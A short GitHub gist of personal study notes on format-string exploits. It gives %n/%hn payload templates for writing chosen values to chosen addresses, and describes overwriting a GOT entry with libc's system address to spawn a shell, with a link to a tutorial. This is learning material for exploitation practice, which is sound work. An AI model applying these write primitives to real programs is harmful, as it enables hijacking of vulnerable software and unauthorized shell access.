Skip to content

Instantly share code, notes, and snippets.

@20esaua
Last active May 29, 2018 15:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 20esaua/598228a6a320d0817b1663c84a417200 to your computer and use it in GitHub Desktop.
Save 20esaua/598228a6a320d0817b1663c84a417200 to your computer and use it in GitHub Desktop.
`env -i ./binary` clear env vars
'AABB%<offset>$n' writes 4 (len('AABB')) to 0x41414242 (hex('AABB'))
'AABB%<value-4>x%<offset>$n' writes `value` to 0x41414242
to write 0xABABACAC to 0x41414242, split into 0x4141 and 0x4242:
CABBAABB%<unhex('ABAB')-8>%<offset>$hn%<unhex('ACAC')-unhex('ABAB')-8>%<offset+1>$hn
<address><address+2>%<number>x%<offset>$hn%<other number>x%<offset+1>$hn
so to get shell, write `system` libc address to GOT entry of a function being called, with the payload starting with 'sh;#' so it starts by popping that from stack (?)
http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment